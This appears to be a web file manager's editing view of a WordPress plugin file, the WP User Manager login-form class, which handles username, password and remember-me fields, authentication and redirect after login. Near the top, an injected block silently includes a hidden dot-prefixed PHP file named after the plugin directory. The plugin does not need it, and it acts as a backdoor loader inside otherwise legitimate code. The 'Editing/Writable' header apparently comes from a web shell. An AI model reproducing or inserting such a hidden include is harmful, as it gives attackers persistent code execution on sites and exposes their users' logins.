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✏️ Editing: class-wpum-form-login.php Writable

<?php
/**
 * Handles the WPUM own login form.
 *
 * @package     wp-user-manager
 * @copyright   Copyright (c) 2018, Alessandro Tesoro
 * @license     https://opensource.org/licenses/GPL-3.0 GNU Public License
*/

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class WPUM_Form_Login extends WPUM_Form {

/**
	 * Form name.
	 *
	 * @var string
	 */
	public $form_name = 'login';

/**
	 * Determine if there's a referrer.
	 *
	 * @var mixed
	 */
	protected $referrer;

/**
	 * Stores static instance of class.
	 *
	 * @access protected
	 * @var WPUM_Form_Login The single instance of the class
	 */
	protected static $_instance = null;

/**
	 * Returns static instance of class.
	 *
	 * @return self
	 */
	public static function instance() {
		if ( is_null( self::$_instance ) ) {
			self::$_instance = new self();
		}
		return self::$_instance;
	}

/**
	 * Constructor.
	 */
	public function __construct() {
		add_action( 'wp', array( $this, 'process' ) );

$this->steps  = (array) apply_filters( 'login_steps', array(
			'submit' => array(
				'name'     => __( 'Login Details', 'wp-user-manager' ),
				'view'     => array( $this, 'submit' ),
				'handler'  => array( $this, 'submit_handler' ),
				'priority' => 10
			),
			'done' => array(
				'name'     => __( 'Done', 'wp-user-manager' ),
				'view'     => false,
				'handler'  => array( $this, 'done' ),
				'priority' => 30
			)
		) );

uasort( $this->steps, array( $this, 'sort_by_priority' ) );

if ( isset( $_POST['step'] ) ) {
			$this->step = is_numeric( $_POST['step'] ) ? max( absint( $_POST['step'] ), 0 ) : array_search( $_POST['step'], array_keys( $this->steps ) );
		} elseif ( ! empty( $_GET['step'] ) ) {
			$this->step = is_numeric( $_GET['step'] ) ? max( absint( $_GET['step'] ), 0 ) : array_search( $_GET['step'], array_keys( $this->steps ) );
		}

}

/**
	 * Initializes the fields used in the form.
	 */
	public function init_fields() {
		if ( $this->fields ) {
			return;
		}

$this->fields = apply_filters( 'login_form_fields', array(
			'login' => array(
				'username' => array(
					'label'       => wpum_get_login_label(),
					'type'        => 'text',
					'required'    => true,
					'placeholder' => '',
					'priority'    => 1
				),
				'password' => array(
					'label'       => __( 'Password', 'wp-user-manager' ),
					'type'        => 'password',
					'required'    => true,
					'placeholder' => '',
					'priority'    => 2
				),
				'remember' => array(
					'label'       => __( 'Remember me', 'wp-user-manager' ),
					'type'        => 'checkbox',
					'required'    => false,
					'priority'    => 3
				),
			)
		) );

}

/**
	 * Show the form.
	 *
	 * @return void
	 */
	public function submit() {

$this->init_fields();

$data = [
			'form'   => $this->form_name,
			'action' => $this->get_action(),
			'fields' => $this->get_fields( 'login' ),
			'step'   => $this->get_step()
		];

WPUM()->templates
			->set_template_data( $data )
			->get_template_part( 'forms/form', 'login' );

}

/**
	 * Handle submission of the form.
	 *
	 * @return void
	 */
	public function submit_handler() {
		try {

$this->init_fields();

$values = $this->get_posted_fields();

if ( empty( $_POST['submit_login'] ) ) {
				return;
			}

if ( is_wp_error( ( $return = $this->validate_fields( $values ) ) ) ) {
				throw new Exception( $return->get_error_message() );
			}

$username = $values['login']['username'];
			$password = $values['login']['password'];

$authenticate = wp_authenticate( $username, $password );

if( is_wp_error( $authenticate ) ) {

throw new Exception( $authenticate->get_error_message() );

} elseif( $authenticate instanceof WP_User ) {

$this->user_id = $authenticate->data->ID;

}

// Successful, show next step.
			$this->step ++;

} catch ( Exception $e ) {
			$this->add_error( $e->getMessage(), 'login_submit' );
			return;
		}
	}

/**
	 * Sign the user in.
	 *
	 * @return void
	 */
	public function done() {

try {

$values   = $this->get_posted_fields();
			$username = $values['login']['username'];
			$password = $values['login']['password'];

$creds = [
				'user_login'    => $username,
				'user_password' => $password,
				'remember'      => $values['login']['remember'] ? true : false
			];

$redirect = get_permalink( wpum_get_core_page_id( 'login' ) );

$login_redirect = wpum_get_login_redirect();
			if ( ! empty( $login_redirect ) ) {
				$redirect = $login_redirect;
			}

if( isset( $_GET['redirect_to'] ) && ! empty( $_GET['redirect_to'] ) ) {
				$redirect = $_GET['redirect_to'];
			}

$user = wp_signon( $creds );

wp_set_current_user( $user->ID );

$redirect = apply_filters( 'wpum_redirect_after_login', $redirect, $user );

if( is_wp_error( $user ) ) {
				throw new Exception( $user->get_error_message() );
			} else {
				wp_safe_redirect( $redirect );
				exit;
			}
		} catch ( Exception $e ) {
			$this->add_error( $e->getMessage(), 'login_done' );
			return;
		}

}

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